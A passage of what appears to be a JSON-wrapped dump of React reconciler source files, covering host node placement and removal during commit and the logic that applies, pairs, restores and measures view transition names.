not host node and, we might have a host node inside it.\n      // Try to search down until we find one.\n      if (node.flags & Placement) {\n        // If we don't have a child, try the siblings instead.\n        continue siblings;\n      }\n      // If we don't have a child, try the siblings instead.\n      // We also skip portals because they are not part of this host tree.\n      if (node.child === null || node.tag === HostPortal) {\n        continue siblings;\n      } else {\n        node.child.return = node;\n        node = node.child;\n      }\n    }\n    // Check if this host node is stable or about to be placed.\n    if (!(node.flags & Placement)) {\n      // Found it!\n      return node.stateNode;\n    }\n  }\n}\n\nfunction insertOrAppendPlacementNodeIntoContainer(\n  node: Fiber,\n  before: ?Instance,\n  parent: Container,\n  parentFragmentInstances: null | Array<FragmentInstanceType>,\n): void {\n  const {tag} = node;\n  const isHost = tag === HostComponent || tag === HostText;\n  if (isHost) {\n    const stateNode = node.stateNode;\n    if (before) {\n      insertInContainerBefore(parent, stateNode, before);\n    } else {\n      appendChildToContainer(parent, stateNode);\n    }\n    if (enableFragmentRefs) {\n      commitNewChildToFragmentInstances(node, parentFragmentInstances);\n    }\n    trackHostMutation();\n    return;\n  } else if (tag === HostPortal) {\n    // If the insertion itself is a portal, then we don't want to traverse\n    // down its children. Instead, we'll get insertions from each child in\n    // the portal directly.\n    return;\n  }\n\n  if (\n    (supportsSingletons ? tag === HostSingleton : false) &&\n    isSingletonScope(node.type)\n  ) {\n    // This singleton is the parent of deeper nodes and needs to become\n    // the parent for child insertions and appends\n    parent = node.stateNode;\n    before = null;\n  }\n\n  const child = node.child;\n  if (child !== null) {\n    insertOrAppendPlacementNodeIntoContainer(\n      child,\n      before,\n      parent,\n      parentFragmentInstances,\n    );\n    let sibling = child.sibling;\n    while (sibling !== null) {\n      insertOrAppendPlacementNodeIntoContainer(\n        sibling,\n        before,\n        parent,\n        parentFragmentInstances,\n      );\n      sibling = sibling.sibling;\n    }\n  }\n}\n\nfunction insertOrAppendPlacementNode(\n  node: Fiber,\n  before: ?Instance,\n  parent: Instance,\n  parentFragmentInstances: null | Array<FragmentInstanceType>,\n): void {\n  const {tag} = node;\n  const isHost = tag === HostComponent || tag === HostText;\n  if (isHost) {\n    const stateNode = node.stateNode;\n    if (before) {\n      insertBefore(parent, stateNode, before);\n    } else {\n      appendChild(parent, stateNode);\n    }\n    if (enableFragmentRefs) {\n      commitNewChildToFragmentInstances(node, parentFragmentInstances);\n    }\n    trackHostMutation();\n    return;\n  } else if (tag === HostPortal) {\n    // If the insertion itself is a portal, then we don't want to traverse\n    // down its children. Instead, we'll get insertions from each child in\n    // the portal directly.\n    return;\n  }\n\n  if (\n    (supportsSingletons ? tag === HostSingleton : false) &&\n    isSingletonScope(node.type)\n  ) {\n    // This singleton is the parent of deeper nodes and needs to become\n    // the parent for child insertions and appends\n    parent = node.stateNode;\n  }\n\n  const child = node.child;\n  if (child !== null) {\n    insertOrAppendPlacementNode(child, before, parent, parentFragmentInstances);\n    let sibling = child.sibling;\n    while (sibling !== null) {\n      insertOrAppendPlacementNode(\n        sibling,\n        before,\n        parent,\n        parentFragmentInstances,\n      );\n      sibling = sibling.sibling;\n    }\n  }\n}\n\nfunction commitPlacement(finishedWork: Fiber): void {\n  // Recursively insert all host nodes into the parent.\n  let hostParentFiber;\n  let parentFragmentInstances = null;\n  let parentFiber = finishedWork.return;\n  while (parentFiber !== null) {\n    if (enableFragmentRefs && isFragmentInstanceParent(parentFiber)) {\n      const fragmentInstance: FragmentInstanceType = parentFiber.stateNode;\n      if (parentFragmentInstances === null) {\n        parentFragmentInstances = [fragmentInstance];\n      } else {\n        parentFragmentInstances.push(fragmentInstance);\n      }\n    }\n    if (isHostParent(parentFiber)) {\n      hostParentFiber = parentFiber;\n      break;\n    }\n    parentFiber = parentFiber.return;\n  }\n\n  if (!supportsMutation) {\n    if (enableFragmentRefs) {\n      commitImmutablePlacementNodeToFragmentInstances(\n        finishedWork,\n        parentFragmentInstances,\n      );\n    }\n    return;\n  }\n\n  if (hostParentFiber == null) {\n    throw new Error(\n      'Expected to find a host parent. This error is likely caused by a bug ' +\n        'in React. Please file an issue.',\n    );\n  }\n\n  switch (hostParentFiber.tag) {\n    case HostSingleton: {\n      if (supportsSingletons) {\n        const parent: Instance = hostParentFiber.stateNode;\n        const before = getHostSibling(finishedWork);\n        // We only have the top Fiber that was inserted but we need to recurse down its\n        // children to find all the terminal nodes.\n        insertOrAppendPlacementNode(\n          finishedWork,\n          before,\n          parent,\n          parentFragmentInstances,\n        );\n        break;\n      }\n      // Fall through\n    }\n    case HostComponent: {\n      const parent: Instance = hostParentFiber.stateNode;\n      if (hostParentFiber.flags & ContentReset) {\n        // Reset the text content of the parent before doing any insertions\n        resetTextContent(parent);\n        // Clear ContentReset from the effect tag\n        hostParentFiber.flags &= ~ContentReset;\n      }\n\n      const before = getHostSibling(finishedWork);\n      // We only have the top Fiber that was inserted but we need to recurse down its\n      // children to find all the terminal nodes.\n      insertOrAppendPlacementNode(\n        finishedWork,\n        before,\n        parent,\n        parentFragmentInstances,\n      );\n      break;\n    }\n    case HostRoot:\n    case HostPortal: {\n      const parent: Container = hostParentFiber.stateNode.containerInfo;\n      const before = getHostSibling(finishedWork);\n      insertOrAppendPlacementNodeIntoContainer(\n        finishedWork,\n        before,\n        parent,\n        parentFragmentInstances,\n      );\n      break;\n    }\n    default:\n      throw new Error(\n        'Invalid host parent fiber. This error is likely caused by a bug ' +\n          'in React. Please file an issue.',\n      );\n  }\n}\n\nfunction commitImmutablePlacementNodeToFragmentInstances(\n  finishedWork: Fiber,\n  parentFragmentInstances: null | Array<FragmentInstanceType>,\n): void {\n  if (!enableFragmentRefs) {\n    return;\n  }\n  const isHost = finishedWork.tag === HostComponent;\n  if (isHost) {\n    commitNewChildToFragmentInstances(finishedWork, parentFragmentInstances);\n    return;\n  } else if (finishedWork.tag === HostPortal) {\n    // If the insertion itself is a portal, then we don't want to traverse\n    // down its children. Instead, we'll get insertions from each child in\n    // the portal directly.\n    return;\n  }\n\n  const child = finishedWork.child;\n  if (child !== null) {\n    commitImmutablePlacementNodeToFragmentInstances(\n      child,\n      parentFragmentInstances,\n    );\n    let sibling = child.sibling;\n    while (sibling !== null) {\n      commitImmutablePlacementNodeToFragmentInstances(\n        sibling,\n        parentFragmentInstances,\n      );\n      sibling = sibling.sibling;\n    }\n  }\n}\n\nexport function commitHostPlacement(finishedWork: Fiber) {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(finishedWork, commitPlacement, finishedWork);\n    } else {\n      commitPlacement(finishedWork);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostRemoveChildFromContainer(\n  deletedFiber: Fiber,\n  nearestMountedAncestor: Fiber,\n  parentContainer: Container,\n  hostInstance: Instance | TextInstance,\n) {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        deletedFiber,\n        removeChildFromContainer,\n        parentContainer,\n        hostInstance,\n      );\n    } else {\n      removeChildFromContainer(parentContainer, hostInstance);\n    }\n    trackHostMutation();\n  } catch (error) {\n    captureCommitPhaseError(deletedFiber, nearestMountedAncestor, error);\n  }\n}\n\nexport function commitHostRemoveChild(\n  deletedFiber: Fiber,\n  nearestMountedAncestor: Fiber,\n  parentInstance: Instance,\n  hostInstance: Instance | TextInstance,\n) {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        deletedFiber,\n        removeChild,\n        parentInstance,\n        hostInstance,\n      );\n    } else {\n      removeChild(parentInstance, hostInstance);\n    }\n    trackHostMutation();\n  } catch (error) {\n    captureCommitPhaseError(deletedFiber, nearestMountedAncestor, error);\n  }\n}\n\nexport function commitHostRootContainerChildren(\n  root: FiberRoot,\n  finishedWork: Fiber,\n) {\n  const containerInfo = root.containerInfo;\n  const pendingChildren = root.pendingChildren;\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        replaceContainerChildren,\n        containerInfo,\n        pendingChildren,\n      );\n    } else {\n      replaceContainerChildren(containerInfo, pendingChildren);\n    }\n    trackHostMutation();\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostPortalContainerChildren(\n  portal: {\n    containerInfo: Container,\n    pendingChildren: ChildSet,\n    ...\n  },\n  finishedWork: Fiber,\n  pendingChildren: ChildSet,\n) {\n  const containerInfo = portal.containerInfo;\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        replaceContainerChildren,\n        containerInfo,\n        pendingChildren,\n      );\n    } else {\n      replaceContainerChildren(containerInfo, pendingChildren);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostHydratedContainer(\n  root: FiberRoot,\n  finishedWork: Fiber,\n) {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        commitHydratedContainer,\n        root.containerInfo,\n      );\n    } else {\n      commitHydratedContainer(root.containerInfo);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostHydratedActivity(\n  activityInstance: ActivityInstance,\n  finishedWork: Fiber,\n) {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        commitHydratedActivityInstance,\n        activityInstance,\n      );\n    } else {\n      commitHydratedActivityInstance(activityInstance);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostHydratedSuspense(\n  suspenseInstance: SuspenseInstance,\n  finishedWork: Fiber,\n) {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        commitHydratedSuspenseInstance,\n        suspenseInstance,\n      );\n    } else {\n      commitHydratedSuspenseInstance(suspenseInstance);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostSingletonAcquisition(finishedWork: Fiber) {\n  const singleton = finishedWork.stateNode;\n  const props = finishedWork.memoizedProps;\n\n  try {\n    // This was a new mount, acquire the DOM instance and set initial properties\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        acquireSingletonInstance,\n        finishedWork.type,\n        props,\n        singleton,\n        finishedWork,\n      );\n    } else {\n      acquireSingletonInstance(\n        finishedWork.type,\n        props,\n        singleton,\n        finishedWork,\n      );\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostSingletonRelease(releasingWork: Fiber) {\n  if (__DEV__) {\n    runWithFiberInDEV(\n      releasingWork,\n      releaseSingletonInstance,\n      releasingWork.stateNode,\n    );\n  } else {\n    releaseSingletonInstance(releasingWork.stateNode);\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberCommitViewTransitions.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ViewTransitionProps} from 'shared/ReactTypes';\nimport type {Instance, InstanceMeasurement, Props} from './ReactFiberConfig';\nimport type {Fiber} from './ReactInternalTypes';\nimport type {ViewTransitionState} from './ReactFiberViewTransitionComponent';\n\nimport {\n  HostComponent,\n  OffscreenComponent,\n  ViewTransitionComponent,\n} from './ReactWorkTags';\nimport {\n  NoFlags,\n  Update,\n  ViewTransitionStatic,\n  AffectedParentLayout,\n  ViewTransitionNamedStatic,\n} from './ReactFiberFlags';\nimport {\n  supportsMutation,\n  applyViewTransitionName,\n  restoreViewTransitionName,\n  measureInstance,\n  measureClonedInstance,\n  hasInstanceChanged,\n  hasInstanceAffectedParent,\n  wasInstanceInViewport,\n} from './ReactFiberConfig';\nimport {\n  scheduleViewTransitionEvent,\n  scheduleGestureTransitionEvent,\n} from './ReactFiberWorkLoop';\nimport {\n  getViewTransitionName,\n  getViewTransitionClassName,\n} from './ReactFiberViewTransitionComponent';\nimport {trackAnimatingTask} from './ReactProfilerTimer';\nimport {\n  enableComponentPerformanceTrack,\n  enableProfilerTimer,\n  enableViewTransitionForPersistenceMode,\n} from 'shared/ReactFeatureFlags';\n\nexport let shouldStartViewTransition: boolean = false;\n\nexport function resetShouldStartViewTransition(): void {\n  shouldStartViewTransition = false;\n}\n\n// This tracks named ViewTransition components found in the accumulateSuspenseyCommit\n// phase that might need to find deleted pairs in the beforeMutation phase.\nexport let appearingViewTransitions: Map<string, ViewTransitionState> | null =\n  null;\n\nexport function resetAppearingViewTransitions(): void {\n  appearingViewTransitions = null;\n}\n\nexport function trackAppearingViewTransition(\n  name: string,\n  state: ViewTransitionState,\n): void {\n  if (appearingViewTransitions === null) {\n    appearingViewTransitions = new Map();\n  }\n  appearingViewTransitions.set(name, state);\n}\n\nexport function trackEnterViewTransitions(placement: Fiber): void {\n  if (\n    placement.tag === ViewTransitionComponent ||\n    (placement.subtreeFlags & ViewTransitionStatic) !== NoFlags\n  ) {\n    // If an inserted or appearing Fiber is a ViewTransition component or has one as\n    // an immediate child, then that will trigger as an \"Enter\" in future passes.\n    // We don't do anything else for that case in the \"before mutation\" phase but we\n    // still have to mark it as needing to call startViewTransition if nothing else\n    // updates.\n    shouldStartViewTransition = true;\n  }\n}\n\n// We can't cancel view transition children until we know that their parent also\n// don't need to transition.\nexport let viewTransitionCancelableChildren: null | Array<\n  Instance | string | Props,\n> = null; // tupled array where each entry is [instance: Instance, oldName: string, props: Props]\n\nexport function pushViewTransitionCancelableScope(): null | Array<\n  Instance | string | Props,\n> {\n  const prevChildren = viewTransitionCancelableChildren;\n  viewTransitionCancelableChildren = null;\n  return prevChildren;\n}\n\nexport function popViewTransitionCancelableScope(\n  prevChildren: null | Array<Instance | string | Props>,\n): void {\n  viewTransitionCancelableChildren = prevChildren;\n}\n\nlet viewTransitionHostInstanceIdx = 0;\n\nfunction applyViewTransitionToHostInstances(\n  fiber: Fiber,\n  name: string,\n  className: ?string,\n  collectMeasurements: null | Array<InstanceMeasurement>,\n  stopAtNestedViewTransitions: boolean,\n): boolean {\n  viewTransitionHostInstanceIdx = 0;\n  const inViewport = applyViewTransitionToHostInstancesRecursive(\n    fiber.child,\n    name,\n    className,\n    collectMeasurements,\n    stopAtNestedViewTransitions,\n  );\n  if (enableProfilerTimer && enableComponentPerformanceTrack && inViewport) {\n    if (fiber._debugTask != null) {\n      trackAnimatingTask(fiber._debugTask);\n    }\n  }\n  return inViewport;\n}\n\nfunction applyViewTransitionToHostInstancesRecursive(\n  child: null | Fiber,\n  name: string,\n  className: ?string,\n  collectMeasurements: null | Array<InstanceMeasurement>,\n  stopAtNestedViewTransitions: boolean,\n): boolean {\n  if (!supportsMutation) {\n    if (enableViewTransitionForPersistenceMode) {\n      while (child !== null) {\n        if (child.tag === HostComponent) {\n          const instance: Instance = child.stateNode;\n          // TODO: calculate whether component is in viewport\n          shouldStartViewTransition = true;\n          applyViewTransitionName(\n            instance,\n            viewTransitionHostInstanceIdx === 0\n              ? name\n              : name + '_' + viewTransitionHostInstanceIdx,\n            className,\n          );\n          viewTransitionHostInstanceIdx++;\n        } else if (\n          child.tag === OffscreenComponent &&\n          child.memoizedState !== null\n        ) {\n          // Skip any hidden subtrees. They were or are effectively not there.\n        } else if (\n          child.tag === ViewTransitionComponent &&\n          stopAtNestedViewTransitions\n        ) {\n          // Skip any nested view transitions for updates since in that case the\n          // inner most one is the one that handles the update.\n        } else {\n          applyViewTransitionToHostInstancesRecursive(\n            child.child,\n            name,\n            className,\n            collectMeasurements,\n            stopAtNestedViewTransitions,\n          );\n        }\n        child = child.sibling;\n      }\n      return true;\n    } else {\n      return false;\n    }\n  }\n  let inViewport = false;\n  while (child !== null) {\n    if (child.tag === HostComponent) {\n      const instance: Instance = child.stateNode;\n      if (collectMeasurements !== null) {\n        const measurement = measureInstance(instance);\n        collectMeasurements.push(measurement);\n        if (wasInstanceInViewport(measurement)) {\n          inViewport = true;\n        }\n      } else if (!inViewport) {\n        if (wasInstanceInViewport(measureInstance(instance))) {\n          inViewport = true;\n        }\n      }\n      shouldStartViewTransition = true;\n      applyViewTransitionName(\n        instance,\n        viewTransitionHostInstanceIdx === 0\n          ? name\n          : // If we have multiple Host Instances below, we add a suffix to the name to give\n            // each one a unique name.\n            name + '_' + viewTransitionHostInstanceIdx,\n        className,\n      );\n      viewTransitionHostInstanceIdx++;\n    } else if (\n      child.tag === OffscreenComponent &&\n      child.memoizedState !== null\n    ) {\n      // Skip any hidden subtrees. They were or are effectively not there.\n    } else if (\n      child.tag === ViewTransitionComponent &&\n      stopAtNestedViewTransitions\n    ) {\n      // Skip any nested view transitions for updates since in that case the\n      // inner most one is the one that handles the update.\n    } else {\n      if (\n        applyViewTransitionToHostInstancesRecursive(\n          child.child,\n          name,\n          className,\n          collectMeasurements,\n          stopAtNestedViewTransitions,\n        )\n      ) {\n        inViewport = true;\n      }\n    }\n    child = child.sibling;\n  }\n  return inViewport;\n}\n\nfunction restoreViewTransitionOnHostInstances(\n  child: null | Fiber,\n  stopAtNestedViewTransitions: boolean,\n): void {\n  if (!supportsMutation) {\n    return;\n  }\n  while (child !== null) {\n    if (child.tag === HostComponent) {\n      const instance: Instance = child.stateNode;\n      restoreViewTransitionName(instance, child.memoizedProps);\n    } else if (\n      child.tag === OffscreenComponent &&\n      child.memoizedState !== null\n    ) {\n      // Skip any hidden subtrees. They were or are effectively not there.\n    } else if (\n      child.tag === ViewTransitionComponent &&\n      stopAtNestedViewTransitions\n    ) {\n      // Skip any nested view transitions for updates since in that case the\n      // inner most one is the one that handles the update.\n    } else {\n      restoreViewTransitionOnHostInstances(\n        child.child,\n        stopAtNestedViewTransitions,\n      );\n    }\n    child = child.sibling;\n  }\n}\n\nfunction commitAppearingPairViewTransitions(placement: Fiber): void {\n  if ((placement.subtreeFlags & ViewTransitionNamedStatic) === NoFlags) {\n    // This has no named view transitions in its subtree.\n    return;\n  }\n  let child = placement.child;\n  while (child !== null) {\n    if (child.tag === OffscreenComponent && child.memoizedState !== null) {\n      // This tree was already hidden so we skip it.\n    } else {\n      commitAppearingPairViewTransitions(child);\n      if (\n        child.tag === ViewTransitionComponent &&\n        (child.flags & ViewTransitionNamedStatic) !== NoFlags\n      ) {\n        const instance: ViewTransitionState = child.stateNode;\n        if (instance.paired) {\n          const props: ViewTransitionProps = child.memoizedProps;\n          if (props.name == null || props.name === 'auto') {\n            throw new Error(\n              'Found a pair with an auto name. This is a bug in React.',\n            );\n          }\n          const name = props.name;\n          const className: ?string = getViewTransitionClassName(\n            props.default,\n            props.share,\n          );\n          if (className !== 'none') {\n            // We found a new appearing view transition with the same name as this deletion.\n            // We'll transition between them.\n            const inViewport = applyViewTransitionToHostInstances(\n              child,\n              name,\n              className,\n              null,\n              false,\n            );\n            if (!inViewport) {\n              // This boundary is exiting within the viewport but is going to leave the viewport.\n              // Instead, we treat this as an exit of the previous entry by reverting the new name.\n              // Ideally we could undo the old transition but it's now too late. It's also on its\n              // on snapshot. We have know was for it to paint onto the original group.\n              // TODO: This will lead to things unexpectedly having exit animations that normally\n              // wouldn't happen. Consider if we should just let this fly off the screen instead.\n              restoreViewTransitionOnHostInstances(child.child, false);\n            }\n          }\n        }\n      }\n    }\n    child = child.sibling;\n  }\n}\n\nexport function commitEnterViewTransitions(\n  placement: Fiber,\n  gesture: boolean,\n): void {\n  if (placement.tag === ViewTransitionComponent) {\n    const state: ViewTransitionState = placement.stateNode;\n    const props: ViewTransitionProps = placement.memoizedProps;\n    const name = getViewTransitionName(props, state);\n    const className: ?string = getViewTransitionClassName(\n      props.default,\n      state.paired ? props.share : props.enter,\n    );\n    if (className !== 'none') {\n      const inViewport = applyViewTransitionToHostInstances(\n        placement,\n        name,\n        className,\n        null,\n        false,\n      );\n      if (!inViewport) {\n        // TODO: If this was part of a pair we will still run the onShare callback.\n        // Revert the transition names. This boundary is not in the viewport\n        // so we won't bother animating it.\n        restoreViewTransitionOnHostInstances(placement.child, false);\n        // TODO: Should we still visit the children in case a named one was in the viewport?\n      } else {\n        commitAppearingPairViewTransitions(placement);\n\n        if (!state.paired) {\n          if (gesture) {\n            scheduleGestureTransitionEvent(placement, props.onGestureEnter);\n          } else {\n            scheduleViewTransitionEvent(placement, props.onEnter);\n          }\n        }\n      }\n    } else {\n      commitAppearingPairViewTransitions(placement);\n    }\n  } else if ((placement.subtreeFlags & ViewTransitionStatic) !== NoFlags) {\n    let child = placement.child;\n    while (child !== null) {\n      commitEnterViewTransitions(child, gesture);\n      child = child.sibling;\n    }\n  } else {\n    commitAppearingPairViewTransitions(placement);\n  }\n}\n\nfunction commitDeletedPairViewTransitions(deletion: Fiber): void {\n  if (\n    appearingViewTransitions === null ||\n    appearingViewTransitions.size === 0\n  ) {\n    // We've found all.\n    return;\n  }\n  const pairs = appearingViewTransitions;\n  if ((deletion.subtreeFlags & ViewTransitionNamedStatic) === NoFlags) {\n    // This has no named view transitions in its subtree.\n    return;\n  }\n  let child = deletion.child;\n  while (child !== null) {\n    if (child.tag === OffscreenComponent && child.memoizedState !== null) {\n      // This tree was already hidden so we skip it.\n    } else {\n      if (\n        child.tag === ViewTransitionComponent &&\n        (child.flags & ViewTransitionNamedStatic) !== NoFlags\n      ) {\n        const props: ViewTransitionProps = child.memoizedProps;\n        const name = props.name;\n        if (name != null && name !== 'auto') {\n          const pair = pairs.get(name);\n          if (pair !== undefined) {\n            const className: ?string = getViewTransitionClassName(\n              props.default,\n              props.share,\n            );\n            if (className !== 'none') {\n              // We found a new appearing view transition with the same name as this deletion.\n              const inViewport = applyViewTransitionToHostInstances(\n                child,\n                name,\n                className,\n                null,\n                false,\n              );\n              if (!inViewport) {\n                // This boundary is not in the viewport so we won't treat it as a matched pair.\n                // Revert the transition names. This avoids it flying onto the screen which can\n                // be disruptive and doesn't really preserve any continuity anyway.\n                restoreViewTransitionOnHostInstances(child.child, false);\n              } else {\n                // We'll transition between them.\n                const oldInstance: ViewTransitionState = child.stateNode;\n                const newInstance: ViewTransitionState = pair;\n                newInstance.paired = oldInstance;\n                oldInstance.paired = newInstance;\n                // Note: If the other side ends up outside the viewport, we'll still run this.\n                // Therefore it's possible for onShare to be called with only an old snapshot.\n                scheduleViewTransitionEvent(child, props.onShare);\n              }\n            }\n            // Delete the entry so that we know when we've found all of them\n            // and can stop searching (size reaches zero).\n            pairs.delete(name);\n            if (pairs.size === 0) {\n              break;\n            }\n          }\n        }\n      }\n      commitDeletedPairViewTransitions(child);\n    }\n    child = child.sibling;\n  }\n}\n\nexport function commitExitViewTransitions(deletion: Fiber): void {\n  if (deletion.tag === ViewTransitionComponent) {\n    const props: ViewTransitionProps = deletion.memoizedProps;\n    const name = getViewTransitionName(props, deletion.stateNode);\n    const pair =\n      appearingViewTransitions !== null\n        ? appearingViewTransitions.get(name)\n        : undefined;\n    const className: ?string = getViewTransitionClassName(\n      props.default,\n      pair !== undefined ? props.share : props.exit,\n    );\n    if (className !== 'none') {\n      const inViewport = applyViewTransitionToHostInstances(\n        deletion,\n        name,\n        className,\n        null,\n        false,\n      );\n      if (!inViewport) {\n        // Revert the transition names. This boundary is not in the viewport\n        // so we won't bother animating it.\n        restoreViewTransitionOnHostInstances(deletion.child, false);\n        // TODO: Should we still visit the children in case a named one was in the viewport?\n      } else if (pair !== undefined) {\n        // We found a new appearing view transition with the same name as this deletion.\n        // We'll transition between them instead of running the normal exit.\n        const oldInstance: ViewTransitionState = deletion.stateNode;\n        const newInstance: ViewTransitionState = pair;\n        newInstance.paired = oldInstance;\n        oldInstance.paired = newInstance;\n        // Delete the entry so that we know when we've found all of them\n        // and can stop searching (size reaches zero).\n        // $FlowFixMe[incompatible-use]: Refined by the pair.\n        appearingViewTransitions.delete(name);\n        // Note: If the other side ends up outside the viewport, we'll still run this.\n        // Therefore it's possible for onShare to be called with only an old snapshot.\n        scheduleViewTransitionEvent(deletion, props.onShare);\n      } else {\n        scheduleViewTransitionEvent(deletion, props.onExit);\n      }\n    }\n    if (appearingViewTransitions !== null) {\n      // Look for more pairs deeper in the tree.\n      commitDeletedPairViewTransitions(deletion);\n    }\n  } else if ((deletion.subtreeFlags & ViewTransitionStatic) !== NoFlags) {\n    let child = deletion.child;\n    while (child !== null) {\n      commitExitViewTransitions(child);\n      child = child.sibling;\n    }\n  } else {\n    if (appearingViewTransitions !== null) {\n      commitDeletedPairViewTransitions(deletion);\n    }\n  }\n}\n\nexport function commitBeforeUpdateViewTransition(\n  current: Fiber,\n  finishedWork: Fiber,\n): void {\n  // The way we deal with multiple HostInstances as children of a View Transition in an\n  // update can get tricky. The important bit is that if you swap out n HostInstances\n  // from n HostInstances then they match up in order. Similarly, if you don't swap\n  // any HostInstances each instance just transitions as is.\n  //\n  // We call this function twice. First we apply the view transition names on the\n  // \"current\" tree in the snapshot phase. Then in the mutation phase we apply view\n  // transition names to the \"finishedWork\" tree.\n  //\n  // This means that if there were insertions or deletions before an updated Instance\n  // that same Instance might get different names in the \"old\" and the \"new\" state.\n  // For example if you swap two HostInstances inside a ViewTransition they don't\n  // animate to swap position but rather cross-fade into the other instance. This might\n  // be unexpected but it is in line with the semantics that the ViewTransition is its\n  // own layer that cross-fades its content when it updates. If you want to reorder then\n  // each child needs its own ViewTransition.\n  const oldProps: ViewTransitionProps = current.memoizedProps;\n  const oldName = getViewTransitionName(oldProps, current.stateNode);\n  const newProps: ViewTransitionProps = finishedWork.memoizedProps;\n  // This className applies only if there are fewer child DOM nodes than\n  // before or if this update should've been cancelled but we ended up with\n  // a parent animating so we need to animate the child too.\n  // For example, if update=\"foo\" layout=\"none\" and it turns out this was\n  // a layout only change, then the \"foo\" class will be applied even though\n  // it was not actually an update. Which is a bug.\n  const className: ?string = getViewTransitionClassName(\n    newProps.default,\n    newProps.update,\n  );\n  if (className === 'none') {\n    // If update is \"none\" then we don't have to apply a name. Since we won't animate this boundary.\n    return;\n  }\n  applyViewTransitionToHostInstances(\n    current,\n    oldName,\n    className,\n    (current.memoizedState = []),\n    true,\n  );\n}\n\nexport function commitNestedViewTransitions(changedParent: Fiber): void {\n  let child = changedParent.child;\n  while (child !== null) {\n    if (child.tag === ViewTransitionComponent) {\n      // In this case the outer ViewTransition component wins but if there\n      // was an update through this component then the inner one wins.\n      const props: ViewTransitionProps = child.memoizedProps;\n      const name = getViewTransitionName(props, child.stateNode);\n      const className: ?string = getViewTransitionClassName(\n        props.default,\n        props.update,\n      );\n      // \"Nested\" view transitions are in subtrees that didn't update so\n      // this is a \"current\". We normally clear this upon rerendering\n      // but we use this flag to track changes from layout in the commit.\n      // So we need it to be cleared before we do that.\n      // TODO: Use some other temporary state to track this.\n      child.flags &= ~Update;\n      if (className !== 'none') {\n        applyViewTransitionToHostInstances(\n          child,\n          name,\n          className,\n          (child.memoizedState = []),\n          false,\n        );\n      }\n    } else if ((child.subtreeFlags & ViewTransitionStatic) !== NoFlags) {\n      commitNestedViewTransitions(child);\n    }\n    child = child.sibling;\n  }\n}\n\nfunction restorePairedViewTransitions(parent: Fiber): void {\n  if ((parent.subtreeFlags & ViewTransitionNamedStatic) === NoFlags) {\n    // This has no named view transitions in its subtree.\n    return;\n  }\n  let child = parent.child;\n  while (child !== null) {\n    if (child.tag === OffscreenComponent && child.memoizedState !== null) {\n      // This tree was already hidden so we skip it.\n    } else {\n      if (\n        child.tag === ViewTransitionComponent &&\n        (child.flags & ViewTransitionNamedStatic) !== NoFlags\n      ) {\n        const instance: ViewTransitionState = child.stateNode;\n        if (instance.paired !== null) {\n          instance.paired = null;\n          restoreViewTransitionOnHostInstances(child.child, false);\n        }\n      }\n      restorePairedViewTransitions(child);\n    }\n    child = child.sibling;\n  }\n}\n\nexport function restoreEnterOrExitViewTransitions(fiber: Fiber): void {\n  if (fiber.tag === ViewTransitionComponent) {\n    const instance: ViewTransitionState = fiber.stateNode;\n    instance.paired = null;\n    restoreViewTransitionOnHostInstances(fiber.child, false);\n    restorePairedViewTransitions(fiber);\n  } else if ((fiber.subtreeFlags & ViewTransitionStatic) !== NoFlags) {\n    let child = fiber.child;\n    while (child !== null) {\n      restoreEnterOrExitViewTransitions(child);\n      child = child.sibling;\n    }\n  } else {\n    restorePairedViewTransitions(fiber);\n  }\n}\n\nexport function restoreUpdateViewTransition(\n  current: Fiber,\n  finishedWork: Fiber,\n): void {\n  restoreViewTransitionOnHostInstances(current.child, true);\n  restoreViewTransitionOnHostInstances(finishedWork.child, true);\n}\n\nexport function restoreUpdateViewTransitionForGesture(\n  current: Fiber,\n  finishedWork: Fiber,\n): void {\n  // For gestures we don't need to reset \"finishedWork\" because those would\n  // have all been clones that got deleted.\n  restoreViewTransitionOnHostInstances(current.child, true);\n}\n\nexport function restoreNestedViewTransitions(changedParent: Fiber): void {\n  let child = changedParent.child;\n  while (child !== null) {\n    if (child.tag === ViewTransitionComponent) {\n      restoreViewTransitionOnHostInstances(child.child, false);\n    } else if ((child.subtreeFlags & ViewTransitionStatic) !== NoFlags) {\n      restoreNestedViewTransitions(child);\n    }\n    child = child.sibling;\n  }\n}\n\nexport function measureViewTransitionHostInstances(\n  parentViewTransition: Fiber,\n  child: null | Fiber,\n  newName: string,\n  oldName: string,\n  className: ?string,\n  previousMeasurements: null | Array<InstanceMeasurement>,\n  stopAtNestedViewTransitions: boolean,\n): boolean {\n  viewTransitionHostInstanceIdx = 0;\n  return measureViewTransitionHostInstancesRecursive(\n    parentViewTransition,\n    child,\n    newName,\n    oldName,\n    className,\n    previousMeasurements,\n    stopAtNestedViewTransitions,\n  );\n}\n\nfunction measureViewTransitionHostInstancesRecursive(\n  parentViewTransition: Fiber,\n  child: null | Fiber,\n  newName: string,\n  oldName: string,\n  className: ?string,\n  previousMeasurements: null | Array<InstanceMeasurement>,\n  